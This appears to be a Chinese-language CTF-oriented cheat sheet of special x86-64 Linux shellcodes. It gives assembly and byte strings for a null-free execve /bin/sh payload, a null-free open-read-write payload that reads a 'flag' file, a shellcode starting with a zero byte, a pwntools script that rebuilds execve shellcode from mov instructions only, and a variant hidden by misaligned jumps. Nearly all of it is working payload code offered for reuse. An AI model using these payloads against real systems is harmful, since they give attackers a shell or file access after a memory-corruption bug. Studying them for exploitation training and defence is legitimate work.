常见特殊shellcode(更新中)

linux

不含\x00的execve(27 bytes)

引自http://shell-storm.org/shellcode/files/shellcode-806.html

1
2
3
4
5
6
7
8
9
10
11
12
13
xor eax,eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
1
shellcode=b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

不含\x00的orw(52 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mov eax,0x67616c66
push rax
mov rdi,rsp
xor esi,esi
xor eax,eax
add al,2
syscall

mov edi,eax
mov rsi,rsp
mov ax,0x101
xor edx,edx
mov dx,ax
add si,ax
xor eax,eax
syscall

xor edi,edi
inc di
inc di
xor eax,eax
inc al
syscall
1
shellcode=b'\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05'

首字节为\x00的shellcode

1
add al,al
1
sc=b'\x00\xc0'

原始代码中只含一种指令(mov)的shellcode

利用代码所在内存段可写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.arch='amd64'
def convert(a):
if a>0xffffffff//2:
b=(0-(~a))-0xffffffff-2
return b
return a
system=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x00"
system_code=[u32(system[i:i+4]) for i in range(0,28,4)]
sc=b''
for i in range(7):
sc+=asm(f'movq [rip+{11*(7-i)+4*i}],{str(convert(system_code[i]))}')

#sc=b'H\xc7\x05B\x00\x00\x001\xc0H\xbbH\xc7\x05;\x00\x00\x00\xd1\x9d\x96\x91H\xc7\x054\x00\x00\x00\xd0\x8c\x97\xffH\xc7\x05-\x00\x00\x00H\xf7\xdbSH\xc7\x05&\x00\x00\x00T_\x99RH\xc7\x05\x1f\x00\x00\x00WT^\xb0H\xc7\x05\x18\x00\x00\x00;\x0f\x05\x00'

或利用指令错位:

1
sc=b'\xeb\x01\xe9\x66\xb8\x68\x00\xeb\x01\xe9\xc1\xe0\x10\x02\xe9\x66\xb8\x2f\x73\xeb\x01\xe9\x48\xc1\xe0\x10\xeb\x01\xe9\x66\xb8\x69\x6e\xeb\x01\xe9\x48\xc1\xe0\x10\xeb\x01\xe9\x66\xb8\x2f\x62\xeb\x01\xe9\x50\x31\xf6\x02\xe9\x48\x89\xe7\x02\xe9\x31\xd2\x31\xc0\xeb\x01\xe9\xb0\x3b\x0f\x05'